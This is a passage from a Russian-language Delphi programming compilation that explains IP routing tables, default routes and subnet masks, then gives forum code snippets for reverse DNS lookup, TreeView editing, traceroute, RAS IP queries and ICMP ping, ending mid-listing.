(Альтернативой одношаговому подходу является указание в пакете всей последовательности маршрутизаторов, которые пакет должен пройти на своем пути. Такой подход называется маршрутизацией от источника - Source Routing. В этом случае выбор маршрута производится конечным узлом или первым маршрутизатором на пути пакета, а все остальные маршрутизаторы только отрабатывают выбранный маршрут, осуществляя коммутацию пакетов, то есть передачу их с одного порта на другой. Алгоритм Source Routing применяется в сетях IP только для отладки, когда маршрут задается в поле Резерв (IP OPTIONS) пакета.)

В случае, если в таблице маршрутов имеется более одной строки, соответствующей одному и тому же адресу сети назначения, то при принятии решения о передаче пакета используется та строка, в которой указано наименьшее значение в поле "Расстояние до сети назначения".

При этом под расстоянием понимается любая метрика, используемая в соответствии с заданным в сетевом пакете классом сервиса. Это может быть количество транзитных маршрутизаторов в данном маршруте (количество хопов от hop - прыжок), время прохождения пакета по линиям связи, надежность линий связи, или другая величина, отражающая качество данного маршрута по отношению к конкретному классу сервиса. Если маршрутизатор поддерживает несколько классов сервиса пакетов, то таблица маршрутов составляется и применяется отдельно для каждого вида сервиса (критерия выбора маршрута).

Для отправки пакета следующему маршрутизатору требуется знание его локального адреса, но в стеке TCP/IP в таблицах маршрутизации принято использование только IP-адресов для сохранения их универсального формата, не зависящего от типа сетей, входящих в интерсеть. Для нахождения локального адреса по известному IP-адресу необходимо воспользоваться протоколом ARP.

Конечный узел, как и маршрутизатор, имеет в своем распоряжении таблицу маршрутов унифицированного формата и на основании ее данных принимает решение, какому маршрутизатору нужно передавать пакет для сети N. Решение о том, что этот пакет нужно вообще маршрутизировать, компьютер принимает в том случае, когда он видит, что адрес сети назначения пакета отличается от адреса его собственной сети (каждому компьютеру при конфигурировании администратор присваивает его IP-адрес или несколько IP-адресов, если компьютер одновременно подключен к нескольким сетям ). Когда компьютер выбрал следующий маршрутизатор, то он просматривают кэш-таблицу адресов своего протокола ARP и, может быть, находит там соответствие IP-адреса следующего маршрутизатора его MAC-адресу. Если же нет, то по локальной сети передается широковещательный ARP-запрос и локальный адрес извлекается из ARP-ответа.

После этого компьютер формирует кадр протокола, используемого на выбранном порту, например, кадр Ethernet, в который помещает МАС-адрес маршрутизатора. Маршрутизатор принимает кадр Ethernet, извлекает из него пакет IP и просматривает свою таблицу маршрутизации для нахождения следующего маршрутизатора. При этом он выполняет те же действия, что и конечный узел.

Одношаговая маршрутизация обладает еще одним преимуществом - она позволяет сократить объем таблиц маршрутизации в конечных узлах и маршрутизаторах за счет использования в качестве номера сети назначения так называемого маршрута по умолчанию - default, который обычно занимает в таблице маршрутизации последнюю строку. Если в таблице маршрутизации есть такая запись, то все пакеты с номерами сетей, которые отсутствуют в таблице маршрутизации, передаются маршрутизатору, указанному в строке default. Поэтому маршрутизаторы часто хранят в своих таблицах ограниченную информацию о сетях интерсети, пересылая пакеты для остальных сетей в порт и маршрутизатор, используемые по умолчанию. Подразумевается, что маршрутизатор, используемый по умолчанию, передаст пакет на магистральную сеть, а маршрутизаторы, подключенные к магистрали, имеют полную информацию о составе интерсети.

Особенно часто приемом маршрутизации по умолчанию пользуются конечные узлы. Хотя они также в общем случае имеют в своем распоряжении таблицу маршрутизации, ее объем обычно незначителен, так как маршрутизация для компьютера - не основное занятие. Главная роль в маршрутизации пакетов в концепции протокола IP отводится, естественно, маршрутизаторам, которые должны обладать гораздо более полными таблицами маршрутизации, чем конечные узлы. Конечный узел часто вообще работает без таблицы маршрутизации, имея только сведения об IP-адресе маршрутизатора по умолчанию. При наличии одного маршрутизатора в локальной сети этот вариант - единственно возможный для всех конечных узлов. Но даже при наличии нескольких маршрутизаторов в локальной сети , когда проблема их выбора стоит перед конечным узлом, задание маршрута по умолчанию часто используется в компьютерах для сокращения объема их маршрутной таблицы.

Другим способом разгрузки компьютера от необходимости ведения больших таблиц маршрутизации является получение от маршрутизатора сведений о рациональном маршруте для какой-нибудь конкретной сети с помощью протокола ICMP.

Кроме маршрута default, в таблице маршрутизации могут встретиться два типа специальных записей - запись о специфичном для узла маршруте и запись об адресах сетей, непосредственно подключенных к портам маршрутизатора.

Специфичный для узла маршрут содержит вместо номера сети полный IP-адрес, то есть адрес, имеющий ненулевую информацию не только в поле номера сети, но и в поле номера узла. Предполагается, что для такого конечного узла маршрут должен выбираться не так, как для всех остальных узлов сети, к которой он относится. В случае, когда в таблице есть разные записи о продвижении пакетов для всей сети N и ее отдельного узла, имеющего адрес N,D, при поступлении пакета, адресованного узлу N,D, маршрутизатор отдаст предпочтение записи для N,D.

Записи в таблице маршрутизации, относящиеся к сетям, непосредственно подключенным к маршрутизатору, в поле "Расстояние до сети назначения" содержат нули.

Еще одним отличием работы маршрутизатора и конечного узла при выборе маршрута является способ построения таблицы маршрутизации. Если маршрутизаторы обычно автоматически создают таблицы маршрутизации, обмениваясь служебной информацией, то для конечных узлов таблицы маршрутизации создаются, как правило, вручную администраторами, и хранятся в виде постоянных файлов на дисках.

Существуют различные алгоритмы построения таблиц для одношаговой маршрутизации. Их можно разделить на три класса:

алгоритмы фиксированной маршрутизации,
алгоритмы простой маршрутизации,
алгоритмы адаптивной маршрутизации.
Независимо от алгоритма, используемого для построения таблицы маршрутизации, результат их работы имеет единый формат. За счет этого в одной и той же сети различные узлы могут строить таблицы маршрутизации по своим алгоритмам, а затем обмениваться между собой недостающими данными, так как форматы этих таблиц фиксированы. Поэтому маршрутизатор, работающий по алгоритму адаптивной маршрутизации, может снабдить конечный узел, применяющий алгоритм фиксированной маршрутизации, сведениями о пути к сети, о которой конечный узел ничего не знает.

Фиксированная маршрутизация

Этот алгоритм применяется в сетях с простой топологией связей и основан на ручном составлении таблицы маршрутизации администратором сети. Алгоритм часто эффективно работает также для магистралей крупных сетей, так как сама магистраль может иметь простую структуру с очевидными наилучшими путями следования пакетов в подсети, присоединенные к магистрали.

Различают одномаршрутные таблицы, в которых для каждого адресата задан один путь, и многомаршрутные таблицы, определяющие несколько альтернативных путей для каждого адресата. При использовании многомаршрутных таблиц должно быть задано правило выбора одного из них. Чаще всего один путь является основным, а остальные - резервными.

Простая маршрутизация

Алгоритмы простой маршрутизации подразделяются на три подкласса:

Случайная маршрутизация - пакеты передаются в любом, случайном направлении, кроме исходного.
Лавинная маршрутизация - пакеты передаются во всех направлениях, кроме исходного (применяется в мостах для пакетов с неизвестным адресом доставки).
Маршрутизация по предыдущему опыту - таблицы маршрутов составляются на основании данных, содержащихся в проходящих через маршрутизатор пакетах. Именно так работают прозрачные мосты, собирая сведения об адресах узлов, входящих в сегменты сети. Такой способ маршрутизации обладает медленной адаптируемостью к изменениям топологии сети.
Адаптивная маршрутизация

Это основной вид алгоритмов маршрутизации, применяющихся маршрутизаторами в современных сетях со сложной топологией. Адаптивная маршрутизация основана на том, что маршрутизаторы периодически обмениваются специальной топологической информацией об имеющихся в интерсети сетях, а также о связях между маршрутизаторами. Обычно учитывается не только топология связей, но и их пропускная способность и состояние.

Адаптивные протоколы позволяют всем маршрутизаторам собирать информацию о топологии связей в сети, оперативно отрабатывая все изменения конфигурации связей. Эти протоколы имеют распределенный характер, который выражается в том, что в сети отсутствуют какие-либо выделенные маршрутизаторы, которые бы собирали и обобщали топологическую информацию: эта работа распределена между всеми маршрутизаторами.

Пример взаимодействия узлов с использованием протокола IP

Рассмотрим на примере интерсети, приведенной на рисунке 4.3, каким образом происходит взаимодействие компьютеров через маршрутизаторы и доставка пакетов компьютеру назначения.

Пусть в приведенном примере пользователь компьютера cit.dol.ru, находящийся в сети Ethernet с IP-адресом 194.87.23.0 (адрес класса С), хочет взаимодействовать по протоколу FTP с компьютером s1.msk.su, принадлежащем сети Ethernet с IP-адресом 142.06.0.0 (адрес класса В). Компьютер cit.dol.ru имеет IP-адрес 194.87.23.1.17, а компьютер s1.msk.su - IP-адрес 142.06.13.14.

Пользователь компьютера cit.dol.ru знает символьное имя компьютера s1.msk.su, но не знает его IP-адреса, поэтому он набирает команду

> ftp s1.msk.su

для организации ftp-сеанса.

В компьютере cit.dol.ru должны быть заданы некоторые параметры для стека TCP/IP, чтобы он мог выполнить поставленную перед ним задачу.

В число этих параметров должны входить собственный IP-адрес, IP-адрес DNS-сервера и IP-адрес маршрутизатора по умолчанию. Так как к сети Ethernet, к которой относится компьютер cit.dol.ru, подключен только один маршрутизатор, то таблица маршрутизации конечным узлам этой сети не нужна, достаточно знать IP-адрес маршрутизатора по умолчанию. В данном примере он равен 194.87.23.1.

Так как пользователь в команде ftp не задал IP-адрес узла, с которым он хочет взаимодействовать, то стек TCP/IP должен определить его самостоятельно. Он может сделать запрос к серверу DNS по имеющемуся у него IP-адресу, но обычно каждый компьютер сначала просматривает свою собственную таблицу соответствия символьных имен и IP-адресов. Такая таблица хранится чаще всего в виде текстового файла простой структуры - каждая его строка содержит запись об одном символьном имени и его IP-адресе. В ОС Unix такой файл традиционно носит имя HOSTS.

Будем считать, что компьютер cit.dol.ru имеет файл HOSTS, а в нем есть строка

142.06.13.14 s1.msk.su.

Поэтому разрешение имени выполняется локально, так что протокол IP может теперь формировать IP-пакеты с адресом назначения 142.06.13.14 для взаимодействия с компьютером s1.msk.su.

Протокол IP компьютера cit.dol.ru проверяет, нужно ли маршрутизировать пакеты для адреса 142.06.13.14. Так как адрес сети назначения равен 142.06.0.0, а адрес сети , к которой принадлежит компьютер , равен 194.87.23.0, то маршрутизация необходима.
Компьютер cit.dol.ru начинает формировать кадр Ethernet для отправки IP-пакета маршрутизатору по умолчанию с IP-адресом 194.87.23.1. Для этого ему нужен МАС-адрес порта маршрутизатора, подключенного к его сети. Этот адрес скорее всего уже находится в кэш-таблице протокола ARP компьютера , если он хотя бы раз за последнее включение обменивался данными с компьютерами других сетей . Пусть этот адрес в нашем примере был найден именно в кэш-памяти. Обозначим его МАС11, в соответствии с номером маршрутизатора и его порта.
В результате компьютер cit.dol.ru отправляет по локальной сети кадр Ethernet, имеющий следующие поля:

DA (Ethernet) ... DESTINATION IP ... ...
МАС11
142.06.13.14

Кадр принимается портом 1 маршрутизатора 1 в соответствии с протоколом Ethernet, так как МАС-узел этого порта распознает свой адрес МАС11. Протокол Ethernet извлекает из этого кадра IP-пакет и передает его программному обеспечению маршрутизатора, реализующему протокол IP. Протокол IP извлекает из пакета адрес назначения и просматривает записи своей таблицы маршрутизации. Пусть маршрутизатор 1 имеет в своей таблице маршрутизации запись

142.06.0.0 135.12.0.11 2 1,

которая говорит о том, что пакеты для сети 142.06. 0.0 нужно передавать маршрутизатору 135.12.0.11, подключенному к той же сети, что и порт 2 маршрутизатора 1.

Маршрутизатор 1 просматривает параметры порта 2 и находит, что он подключен к сети FDDI. Так как сеть FDDI имеет значение максимального транспортируемого блока MTU больше, чем сеть Ethernet, то фрагментация поля данных IP-пакета не требуется. Поэтому маршрутизатор 1 формирует кадр формата FDDI, в котором указывает MAC-адрес порта маршрутизатора 2, который он находит в своей кэш-таблице протокола ARP:

DA (FDDI) ... DESTINATION IP ... ...
МАС21
142.06.13.14

Аналогично действует маршрутизатор 2, формируя кадр Ethernet для передачи пакета маршрутизатору 3 по сети Ethernet c IP-адресом 203.21.4.0:

DA (Ethernet) ... DESTINATION IP ... ...
МАС32
142.06.13.14

Наконец, после того, как пакет поступил в маршрутизатор сети назначения - маршрутизатор 3, появляется возможность передачи этого пакета компьютеру назначения. Маршрутизатор 3 видит, что пакет нужно передать в сеть 142.06.0.0, которая непосредственно подключена к его первому порту. Поэтому он посылает ARP-запрос по сети Ethernet c IP-адресом компьютера s1.msk.su (считаем, что этой информации в его кэше нет), получает ответ, содержащий адрес MACs1, и формирует кадр Ethernet, доставляющий IP-пакет по локальной сети адресату.

DA (Ethernet) ... DESTINATION IP ... ...
МАСs1
142.06.13.14

Структуризация сетей IP с помощью масок

Часто администраторы сетей испытывают неудобства, из-за того, что количество централизовано выделенных им номеров сетей недостаточно для того, чтобы структурировать сеть надлежащим образом, например, разместить все слабо взаимодействующие компьютеры по разным сетям .

В такой ситуации возможны два пути. Первый из них связан с получением от NIC дополнительных номеров сетей. Второй способ, употребляющийся более часто, связан с использованием так называемых масок, которые позволяют разделять одну сеть на несколько сетей.

Маска - это число, двоичная запись которого содержит единицы в тех разрядах, которые должны интерпретироваться как номер сети.

Например, для стандартных классов сетей маски имеют следующие значения:

255.0.0.0
маска для сети класса А,
255.255.0.0
маска для сети класса В,
255.255.255.0
маска для сети класса С.
В масках, которые использует администратор для увеличения числа сетей, количество единиц в последовательности, определяющей границу номера сети, не обязательно должно быть кратным 8, чтобы повторять деление адреса на байты.

Пусть, например, маска имеет значение 255.255.192.0 (11111111 11111111 11000000 00000000). И пусть сеть имеет номер 129.44.0.0 (10000001 00101100 00000000 00000000), из которого видно, что она относится к классу В. После наложения маски на этот адрес число разрядов, интерпретируемых как номер сети, увеличилось с 16 до 18, то есть администратор получил возможность использовать вместо одного, централизованно заданного ему номера сети, четыре:

129.44.0.0
(10000001 00101100 00000000 00000000)
129.44.64.0
(10000001 00101100 01000000 00000000)
129.44.128.0
(10000001 00101100 10000000 00000000)
129.44.192.0
(10000001 00101100 11000000 00000000)
Например, IP-адрес 129.44.141.15 (10000001 00101100 10001101 00001111), который по стандартам IP задает номер сети 129.44.0.0 и номер узла 0.0.141.15, теперь, при использовании маски, будет интерпретироваться как пара:

129.44.128.0 - номер сети, 0.0. 13.15 - номер узла.

Таким образом, установив новое значение маски, можно заставить маршрутизатор по-другому интерпретировать IP-адрес. При этом два дополнительных последних бита номера сети часто интерпретируются как номера подсетей.

Еще один пример. Пусть некоторая сеть относится к классу В и имеет адрес 128.10.0.0 (рисунок 4.4). Этот адрес используется маршрутизатором, соединяющим сеть с остальной частью интерсети. И пусть среди всех станций сети есть станции, слабо взаимодействующие между собой. Их желательно было бы изолировать в разных сетях. Для этого сеть можно разделить на две сети, подключив их к соответствующим портам маршрутизатора, и задать для этих портов в качестве маски, например, число 255.255.255.0, то есть организовать внутри исходной сети с централизовано заданным номером две подсети класса C (можно было бы выбрать и другой размер для поля адреса подсети). Извне сеть по-прежнему будет выглядеть, как единая сеть класса В, а на местном уровне это будут две отдельные сети класса С. Приходящий общий трафик будет разделяться местным маршрутизатором между подсетями.

Необходимо заметить, что, если принимается решение об использовании механизма масок, то соответствующим образом должны быть сконфигурированы и маршрутизаторы, и компьютеры сети.

Взято с http://delphiworld.narod.ru


Как по IP адресу получить HostName (и обратно)

function TGenericNetTask.GetPeerOrigin( const ALogin : String ) : DWORD;
const AddressStrMaxLen = 256;
var len : DWORD;
       ptr : PChar;
       pHE : PHostEnt;
       addr : TSockAddr;
       buf : Array [0..AddressStrMaxLen-1] of Char;
begin
   if FNet=nil then raise ESocketError.Error(-1,ClassName+'.GetPeerAds: Net is
not defined',WSAHOST_NOT_FOUND);
   len := SizeOf(TSockAddr);
   if getpeername(FSocket,addr,len)<>0 then
RaiseLastSocketError(-1,ClassName+'.GetPeerAds: getpeername()');
   case addr.sin_family of
   AF_INET: // TCP/IP

       begin
           pHE := gethostbyaddr( PChar(@addr.sin_addr), SizeOf(TInAddr),
AF_INET );
           if pHE=nil then RaiseLastSocketError(-1,ClassName+'.GetPeerAds:
gethostbyaddr()');
           FPeerNodeName := pHE^.h_name;
           if FNet.NodeByName(FPeerNodeName)=nil then
           begin
               ptr := StrScan(pHE^.h_name,'.');
               if ptr<>nil then FPeerNodeName :=
Copy(pHE^.h_name,1,ptr-pHE^.h_name);
           end;
       end;

   else
       len := AddressStrMaxLen;
       if WSAAddressToStringA(sin,sinlen,nil,buf,len)<>0 then
RaiseLastSocketError(-1,ClassName+'.GetPeerAds: WSAAddressToStringA()');
       ptr := StrRScan(buf,':');
       if ptr<>nil then len := ptr-buf;
       FPeerNodeName := Copy(buf,1,len);
   end;
   Result :=
FNet.EncodeAddress(ALogin,FPeerNodeName,'',[bLoginIdRequired,bNodeIdREquired,bR
aiseError]);
end; {TGenericNetTask.GetPeerOrigin}

Alex Konshin
mailto:alexk@msmt.spb.su"
(2:5030/217)
------------------------------------------------------------------------------------------------------
Хотелось бы иметь возможность отмены вставки нового узла в TTreeView по нажатию кнопки Esc. Как сделать?
CODE
unit BetterTreeView;
interface
uses
 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
 ComCtrls, CommCtrl;

type
 TTVNewEditCancelEvent = procedure( Sender: TObject;
   Node: TTreeNode; var Delete: Boolean) of object;
 TBetterTreeView = class(TTreeView)
 protected
   FIsEditingNew: Boolean;
   FOnEditCancel: TTVChangedEvent;
   FOnNewEditCancel: TTVNewEditCancelEvent;
   procedure Edit(const Item: TTVItem); override;
 public
   function NewChildAndEdit(Node: TTreeNode; const S: String)

     : TTreeNode;
 published
   property IsEditingNew: Boolean read FIsEditingNew;
   property OnEditCancel: TTVChangedEvent
     read FOnEditCancel write FOnEditCancel;
   property OnNewEditCancel: TTVNewEditCancelEvent
     read FOnNewEditCancel write FOnNewEditCancel;
 end;

implementation

procedure TBetterTreeView.Edit(const Item: TTVItem);
var
 Node: TTreeNode;
 Action: Boolean;
begin
 with Item do begin
   { Get the node }
   if (state and TVIF_PARAM)  0 then
     Node := Pointer(lParam)

   else
     Node := Items.GetNode(hItem);

   if pszText = nil then begin
     if FIsEditingNew then begin
       Action := True;
       if Assigned(FOnNewEditCancel) then
         FOnNewEditCancel(Self, Node, Action);
       if Action then
         Node.Destroy
     end
     else
       if Assigned(FOnEditCancel) then
         FOnEditCancel(Self, Node);
   end
   else
     inherited;
 end;
 FIsEditingNew := False;
end;

function TBetterTreeView.NewChildAndEdit
 (Node: TTreeNode; const S: String): TTreeNode;

begin
 SetFocus;
 Result := Items.AddChild(Node, S);
 FIsEditingNew := True;
 Node.Expand(False);
 Result.EditText;
 SetFocus;
end;

end.

Автор: StayAtHome

Взято с Vingrad.ru http://forum.vingrad.ru


Трассировка пути до определенного IP адреса (Traceroute)

Трассировка пути до определенного IP адреса (как tracert.exe в Windows)

Пример использования модуля:

procedure TForm1.Button1Click(Sender: TObject);
var RT : TTraceRoute;
begin
 RT := TTraceRoute.Create;
 RT.Trace('192.168.5.12', ListBox1.Items);
 RT.Free;
end;

В ListBox1 выведется путь в таком формате:
IP;TIME;TTL;STATUS

Сам модуль:

unit TraceRt;
interface

// ===========================================================================
// TRACEROUTE Class
// Mike Heydon Dec 2003
//
// Method
// Trace(IpAddress : string; ResultList : TStrings)
//             Returns semi-colon delimited list of ip routes to target
//             format .. IP ADDRESS; PING TIME MS; TIME TO LIVE; STATUS
//
// Properties
//             IcmpTimeOut : integer (Default = 5000ms)
//             IcmpMaxHops : integer (Default = 40)
// ===========================================================================

uses Forms, Windows, Classes, SysUtils, IdIcmpClient;

type
    TTraceRoute = class(TObject)
    protected
      procedure ProcessResponse(Status : TReplyStatus);
      procedure AddRoute(AResponseTime : DWORD;
                         AStatus: TReplyStatus; const AInfo: string );
    private
      FIcmpTimeOut,
      FIcmpMaxHops : integer;
      FResults : TStringList;
      FICMP : TIdIcmpClient;
      FPingStart : cardinal;
      FCurrentTTL : integer;
      procedure PingTarget;
    public
      constructor Create;
      procedure Trace(const AIpAddress : string; AResultList : TStrings);
      property IcmpTimeOut : integer read FIcmpTimeOut write FIcmpTimeOut;
      property IcmpMaxHops : integer read FIcmpMaxHops write FIcmpMaxHops;
    end;

// ---------------------------------------------------------------------------
implementation

// ========================================
// Create the class and set defaults
// ========================================

constructor TTraceRoute.Create;
begin
 IcmpTimeOut := 5000;
 IcmpMaxHops := 40;
end;

// =============================================
// Use Indy component to ping hops to target
// =============================================

procedure TTraceRoute.PingTarget;
var wOldMode : DWORD;
begin
 Application.ProcessMessages;
 inc(FCurrentTTL);

 if FCurrentTTL < FIcmpMaxHops then begin
   FICMP.TTL  := FCurrentTTL;
   FICMP.ReceiveTimeout := FIcmpTimeOut;
   FPingStart := GetTickCount;
   wOldMode := SetErrorMode(SEM_FAILCRITICALERRORS);

   try
     FICMP.Ping;
     ProcessResponse(FICMP.ReplyStatus);
   except
     FResults.Add('0.0.0.0;0;0;ERROR');
   end;

   SetErrorMode(wOldMode);
 end
 else
   FResults.Add('0.0.0.0;0;0;MAX HOPS EXCEEDED');
end;

// ============================================================
// Add the ping reply status data to the returned stringlist
// ============================================================

procedure TTraceRoute.AddRoute(AResponseTime : DWORD;
                              AStatus: TReplyStatus;
                              const AInfo: string );
begin
 FResults.Add(AStatus.FromIPAddress + ';' +
              IntToStr(GetTickCount - AResponseTime) + ';' +
              IntToStr(AStatus.TimeToLive) + ';' + AInfo);
end;

// ============================================================
// Process the ping reply status record and add to stringlist
// ============================================================

procedure TTraceRoute.ProcessResponse(Status : TReplyStatus);
begin
 case Status.ReplyStatusType of
   // Last Leg - Terminate Trace
   rsECHO : AddRoute(FPingStart,Status,'OK');

   // More Hops to go - Continue Pinging
   rsErrorTTLExceeded :  begin
                           AddRoute(FPingStart,Status,'OK');
                           PingTarget;
                         end;

   // Error conditions - Terminate Trace
   rsTimeOut : AddRoute(FPingStart,Status,'TIMEOUT');
   rsErrorUnreachable : AddRoute(FPingStart,Status,'UNREACHABLE');
   rsError : AddRoute(FPingStart,Status,'ERROR');
 end;
end;

// ======================================================
// Trace route to target IP address
// Results returned in semi-colon delimited stringlist
// IP; TIME MS; TIME TO LIVE; STATUS
// ======================================================

procedure TTraceRoute.Trace(const AIpAddress : string;
                           AResultList : TStrings);
begin
 FICMP := TIdIcmpClient.Create(nil);
 FICMP.Host := AIpAddress;
 FResults := TStringList(AResultList);
 FResults.Clear;
 FCurrentTTL := 0;
 PingTarget;
 FICMP.Free;
end;

{eof}
end.

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Как узнать IP клиента и IP сервера для активного RAS-подключения?

uses Ras, RasError;

type
 TRASIP = record
   dwSize: DWORD;
   dwError: DWORD;
   szIpAddress: packed array[0..RAS_MaxIpAddress] of AnsiChar;
   szServerIpAddress: packed array[0..RAS_MaxIpAddress] of AnsiChar;
 end;

procedure GetDialUpIpAddress(var server, client: string);
var
 RASPppIp: TRASIP;
 lpcp: DWORD;
 ConnClientIP: array[0..RAS_MaxIpAddress] of Char;
 ConnServerIP: array[0..RAS_MaxIpAddress] of Char;

 Entries: PRasConn;
 BufSize, NumberOfEntries, Res: DWORD;
 RasConnHandle: THRasConn;
begin
 New(Entries);
 BufSize := Sizeof(Entries^);
 ZeroMemory(Entries, BufSize);
 Entries^.dwSize := Sizeof(Entries^);

 Res := RasEnumConnections(Entries, BufSize, NumberOfEntries);
 if Res = ERROR_BUFFER_TOO_SMALL then
 begin
   ReallocMem(Entries, BufSize);
   ZeroMemory(Entries, BufSize);
   Entries^.dwSize := Sizeof(Entries^);
   Res := RasEnumConnections(Entries, BufSize, NumberOfEntries);
 end;
 try
   if (Res = 0) and (NumberOfEntries > 0) then RasConnHandle := Entries.hrasconn else exit
 finally
   FreeMem(Entries);
 end;

 FillChar(RASPppIp, SizeOf(RASPppIp), 0);
 RASPppIp.dwSize := SizeOf(RASPppIp);
 lpcp := RASPppIp.dwSize;
 if RasGetProjectionInfo(RasConnHandle,
   RASP_PppIp, @RasPppIp, lpcp) = 0 then
 begin

   Move(RASPppIp.szServerIpAddress,
     ConnServerIP,
     SizeOf(ConnServerIP));
   Server := ConnServerIP;
   Move(RASPppIp.szIpAddress,
     ConnClientIP,
     SizeOf(ConnClientIP));
   client := ConnClientIP;
 end;
end;
Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Работа с Ping

Cодержание раздела:

Как сделать PING?


Как сделать PING?

Протокол Ping предназначен для тестирования компьютерных соединений в Интернете путём посылки через протокол Internet Protocol (IP) по обределённому адресу сообщения и ожидания от него ответа.

ICMP - Internet Control Message Protocol. ICMP служит для передачи сообщений об ошибках а так же управляющих сообщений . ICMP-тест может показать насколько быстро проходит информация между двумя узлами в Интернете.

1. Запускаем Delphi;
2. В Новом проекте добавляем в форму Tbutton, Tedit и Tmemo;
3. Вставляем "winsock";
4. объявляем структурку для IP-заголовка:

type
  IPINFO = record
    Ttl: char;
    Tos: char;
    IPFlags: char;
    OptSize: char;
    Options: ^char;
  end;

5. объявляем структурку для хранения ICMP пакета:

type
  ICMPECHO = record
    Source: longint;
    Status: longint;
    RTTime: longint;
    DataSize: Shortint;
    Reserved: Shortint;
    pData: ^variant;
    i_ipinfo: IPINFO;
  end;

6. Объявляем функции и процедуры, которые мы будем вызывать из ICMP.DLL
TIcmpCreateFile = function():integer; {$IFDEF WIN32} stdcall; {$ENDIF}
TIcmpCloseHandle = procedure(var handle:integer);{$IFDEF WIN32} stdcall; {$ENDIF}
TIcmpSendEcho = function(var handle:integer; endereco:DWORD; buffer:variant; tam:WORD; IP:IPINFO; ICMP:ICMPECHO; tamicmp:DWORD; tempo:DWORD):DWORD;{$IFDEF WIN32} stdcall; {$ENDIF}

7. В Tbutton в событие Onclick вставляем следующий код:

procedure TForm1.Button1Click(Sender: TObject);
var
  wsadt: wsadata;
  icmp: icmpecho;
  HNDicmp: integer;
  hndFile: integer;
  Host: PHostEnt;
  Destino: in_addr;
  Endereco: ^DWORD;
  IP: ipinfo;
  Retorno: integer;
  dwRetorno: DWORD;
  x: integer;

  IcmpCreateFile: TIcmpCreateFile;
  IcmpCloseHandle: TIcmpCloseHandle;
  IcmpSendEcho: TIcmpSendEcho;

begin
  if (edit1.Text = '') then
    begin
      Application.MessageBox('Enter a HostName ro a IP Adress',
        'Error', MB_OK);
      exit;
    end;
  HNDicmp := LoadLibrary('ICMP.DLL');
  if (HNDicmp <> 0) then
    begin
      @IcmpCreateFile := GetProcAddress(HNDicmp, 'IcmpCreateFile');
      @IcmpCloseHandle := GetProcAddress(HNDicmp, 'IcmpCloseHandle');
      @IcmpSendEcho := GetProcAddress(HNDicmp, 'IcmpSendEcho');
      if (@IcmpCreateFile = nil) or (@IcmpCloseHandle = nil) or (@IcmpSendEcho = nil) then
        begin
          Application.MessageBox('Error getting ICMP Adress', 'Error', MB_OK);
          FreeLibrary(HNDicmp);
        end;
    end;
  Retorno := WSAStartup($0101, wsadt);

  if (Retorno <> 0) then
    begin
      Application.MessageBox('Canґt Load WinSockets', 'WSAStartup', MB_OK);
      WSACleanup();
      FreeLibrary(HNDicmp);
    end;

  Destino.S_addr := inet_addr(Pchar(Edit1.text));
  if (Destino.S_addr = 0) then
    begin
      Host := GetHostbyName(PChar(Edit1.text));
    end
  else
    begin
      Host := GetHostbyAddr(@Destino, sizeof(in_addr), AF_INET);
    end;

  if (host = nil) then
    begin
      Application.MessageBox('Host not found', 'Error', MB_OK);
      WSACleanup();
      FreeLibrary(HNDicmp);
      exit;
    end;
  memo1.Lines.Add('Pinging ' + Edit1.text);

  Endereco := @Host.h_addr_list;

  HNDFile := IcmpCreateFile();
  for x := 0 to 4 do
    begin
      Ip.Ttl := char(255);
      Ip.Tos := char(0);
      Ip.IPFlags := char(0);
      Ip.OptSize := char(0);
      Ip.Options := nil;

      dwRetorno := IcmpSendEcho(
        HNDFile,
        Endereco^,
        null,
        0,
        Ip,
        Icmp,
        sizeof(Icmp),
        DWORD(5000));
      Destino.S_addr := icmp.source;
      Memo1.Lines.Add('Ping ' + Edit1.text);
    end;

  IcmpCLoseHandle(HNDFile);
  FreeLibrary(HNDicmp);
  WSACleanup();
end;

У данного примера есть один недостаток - программа не воспримет доменное имя, только IP-адресс. Для пользователей NT не используйте функцию IcmpCloseHandle.

Это всё…..

Ну и в конце полный исходный код примера:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  winsock, StdCtrls;

type
  IPINFO = record
    Ttl: char;
    Tos: char;
    IPFlags: char;
    OptSize: char;
    Options: ^char;
  end;

type
  ICMPECHO = record
    Source: longint;
    Status: longint;
    RTTime: longint;
    DataSize: Shortint;
    Reserved: Shortint;
    pData: ^variant;
    i_ipinfo: IPINFO;
  end;

  TIcmpCreateFile = function(): integer; {$IFDEF WIN32}stdcall; {$ENDIF}
  TIcmpCloseHandle = procedure(var handle: integer); {$IFDEF WIN32}stdcall; {$ENDIF}
  TIcmpSendEcho = function(var handle: integer; endereco: DWORD; buffer: variant; tam: WORD; IP: IPINFO; ICMP: ICMPECHO; tamicmp: DWORD; tempo: DWORD): DWORD; {$IFDEF WIN32}stdcall; {$ENDIF}

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Edit1: TEdit;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
{ Private declarations }
  public

  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
  wsadt: wsadata;
  icmp: icmpecho;
  HNDicmp: integer;
  hndFile: integer;
  Host: PHostEnt;
  Destino: in_addr;
  Endereco: ^DWORD;
  IP: ipinfo;
  Retorno: integer;
  dwRetorno: DWORD;
  x: integer;

  IcmpCreateFile: TIcmpCreateFile;
  IcmpCloseHandle: TIcmpCloseHandle;
  IcmpSendEcho: TIcmpSendEcho;

begin
  if (edit1.Text = '') then
    begin
      Application.MessageBox('Digite um HostName ou um End. IP',
        'Error', MB_OK);
      exit;
    end;
  HNDicmp := LoadLibrary('ICMP.DLL');
  if (HNDicmp <> 0) then
    begin
      @IcmpCreateFile := GetProcAddress(HNDicmp, 'IcmpCreateFile');
      @IcmpCloseHandle := GetProcAddress(HNDicmp, 'IcmpCloseHandle');
      @IcmpSendEcho := GetProcAddress(HNDicmp, 'IcmpSendEcho');
      if (@IcmpCreateFile = nil) or (@IcmpCloseHandle = nil) or (@IcmpSendEcho = nil) then
        begin
          Application.MessageBox('Erro pegando endereзos ICMP', 'Error', MB_OK);
          FreeLibrary(HNDicmp);
        end;
    end;
  Retorno := WSAStartup($0101, wsadt);

  if (Retorno <> 0) then
    begin
      Application.MessageBox('Nгo foi possнvel carregar WinSockets', 'WSAStartup', MB_OK);
